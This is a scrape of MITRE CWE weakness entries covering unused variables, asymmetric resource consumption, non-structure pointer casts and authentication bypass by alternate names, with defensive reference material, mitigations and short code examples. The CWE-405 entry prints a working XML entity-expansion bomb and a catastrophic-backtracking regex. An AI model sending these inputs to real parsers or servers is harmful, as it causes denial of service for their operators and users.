+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

This weakness could be an indication of a bug in the program or a deprecated variable that was not removed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.
+ Demonstrative Examples

Example 1

The following code excerpt assigns to the variable r and then overwrites the value without using it.

(bad code)
Example Language:
r = getName();
r = getNewBuffer(buf);
+ Potential Mitigations

Phase: Implementation

Remove unused variables from the code.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.886SFP Primary Cluster: Unused entities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1186SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingMSC00-CCompile cleanly at high warning levels
SEI CERT Perl Coding StandardMSC01-PLImpreciseDetect and remove unused variables
Software Fault PatternsSFP2Unused Entities
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Common_Consequences, Description, Name, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Alternate_Terms, Name, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2014-06-23Unused Variable
2017-11-08Assignment to Variable without Use ('Unused Variable')

CWE-405: Asymmetric Resource Consumption (Amplification)

Weakness ID: 405
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric."
+ Extended Description
This can lead to poor performance due to "amplification" of resource consumption, typically in a non-linear fashion. This situation is worsened if the product allows malicious users or attackers to consume more resources than their access level permits.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.400Uncontrolled Resource Consumption
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.406Insufficient Control of Network Message Volume (Network Amplification)
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.407Inefficient Algorithmic Complexity
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.408Incorrect Behavior Order: Early Amplification
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.409Improper Handling of Highly Compressed Data (Data Amplification)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.776Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1050Excessive Platform Resource Consumption within a Loop
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1072Data Resource Access without Use of Connection Pooling
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1073Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1084Invokable Control Element with Excessive File or Data Access Operations
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1089Large Data Table with Excessive Number of Indices
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1094Excessive Index Range Scan for a Data Resource
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1176Inefficient CPU Computation
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Client Server (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Amplification; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

Sometimes this is a factor in "flood" attacks, but other types of amplification exist.
High
+ Demonstrative Examples

Example 1

This code listens on a port for DNS requests and sends the result to the requesting address.

(bad code)
Example Language: Python 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
data = sock.recvfrom(1024)
if not data:
break

(requestIP, nameToResolve) = parseUDPpacket(data)
record = resolveName(nameToResolve)
sendResponse(requestIP,record)

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Example 2

This function prints the contents of a specified file requested by a user.

(bad code)
Example Language: PHP 
function printFile($username,$filename){

//read file into string
$file = file_get_contents($filename);
if ($file && isOwnerOf($username,$filename)){
echo $file;
return true;
}
else{
echo 'You are not authorized to view this file';
}
return false;
}

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Example 3

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

(attack code)
Example Language: XML 
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>

Example 4

This example attempts to check if an input string is a "sentence" [REF-1164].

(bad code)
Example Language: JavaScript 
var test_string = "Bad characters: $@#";
var bad_pattern = /^(\w+\s?)*$/i;
var result = test_string.search(bad_pattern);

The regular expression has a vulnerable backtracking clause inside (\w+\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.

To fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \2 which prevents the backtracking. The modified example is:

(good code)
Example Language: JavaScript 
var test_string = "Bad characters: $@#";
var good_pattern = /^((?=(\w+))\2\s?)*$/i;
var result = test_string.search(good_pattern);

Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.

Example 5

An adversary can cause significant resource consumption on a server by filtering the cryptographic algorithms offered by the client to the ones that are the most resource-intensive on the server side. After discovering which cryptographic algorithms are supported by the server, a malicious client can send the initial cryptographic handshake messages that contains only the resource-intensive algorithms. For some cryptographic protocols, these messages can be completely prefabricated, as the resource-intensive part of the handshake happens on the server-side first (such as TLS), rather than on the client side. In the case of cryptographic protocols where the resource-intensive part should happen on the client-side first (such as SSH), a malicious client can send a forged/precalculated computation result, which seems correct to the server, so the resource-intensive part of the handshake is going to happen on the server side. A malicious client is required to send only the initial messages of a cryptographic handshake to initiate the resource-consuming part of the cryptographic handshake. These messages are usually small, and generating them requires minimal computational effort, enabling a denial-of-service attack. An additional risk is the fact that higher key size increases the effectiveness of the attack. Cryptographic protocols where the clients have influence over the size of the used key (such as TLS 1.3 or SSH) are most at risk, as the client can enforce the highest key size supported by the server.

+ Observed Examples
ReferenceDescription
Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses.
Parsing library allows XML bomb
Tool creates directories before authenticating user.
Python has "quadratic complexity" issue when converting string to int with many digits in unexpected bases
server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking.
composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.
Diffie-Hellman (DHE) Key Agreement Protocol allows attackers to send arbitrary numbers that are not public keys, which causes the server to perform expensive, unnecessary computation of modular exponentiation.
The Diffie-Hellman Key Agreement Protocol allows use of long exponents, which are more computationally expensive than using certain "short exponents" with particular properties.
+ Potential Mitigations

Phase: Architecture and Design

An application must make resources available to a client commensurate with the client's access level.

Phase: Architecture and Design

An application must, at all times, keep track of allocated resources and meter their usage appropriately.

Phase: System Configuration

Consider disabling resource-intensive algorithms on the server side, such as Diffie-Hellman key exchange.

Effectiveness: High

Note: Business requirements may prevent disabling resource-intensive algorithms.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.855The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1145SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAsymmetric resource consumption (amplification)
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
WASC41XML Attribute Blowup
The CERT Oracle Secure Coding Standard for Java (2011)TPS00-JUse thread pools to enable graceful degradation of service during traffic bursts
The CERT Oracle Secure Coding Standard for Java (2011)FIO04-JRelease resources when they are no longer needed
+ References
[REF-1164] Ilya Kantor. "Catastrophic backtracking". 2020-12-13. <https://javascript.info/regexp-catastrophic-backtracking>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2021-11-11Szilárd PfeifferBalasys IT Security
Submitted content that led to modifications in applicable platforms, common consequences, potential mitigations, demonstrative examples, observed examples.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Functional_Areas
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Time_of_Introduction
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-588: Attempt to Access Child of a Non-structure Pointer

Weakness ID: 588
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.758Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.704Incorrect Type Conversion or Cast
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Memory

Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

Execution may end due to a memory access error.
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
struct foo
{
int i;
}
...
int main(int argc, char **argv)
{
*foo = (struct foo *)main;
foo->i = 2;
return foo->i;
}
+ Observed Examples
ReferenceDescription
JSON decoder accesses a C union using an invalid offset to an object
+ Potential Mitigations

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Review of type casting operations can identify locations where incompatible types are cast.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.971SFP Secondary Cluster: Faulty Pointer Use
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP7Faulty Pointer Use
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-289: Authentication Bypass by Alternate Name

Weakness ID: 289
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.46Path Equivalence: 'filename ' (Trailing Space)
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.52Path Equivalence: '/multiple/trailing/slash//'
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.173Improper Handling of Alternate Encoding
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.178Improper Handling of Case Sensitivity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
Protection mechanism that restricts URL access can be bypassed using URL encoding.
Bypass of authentication for files using "\" (backslash) or "%5C" (encoded backslash).
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
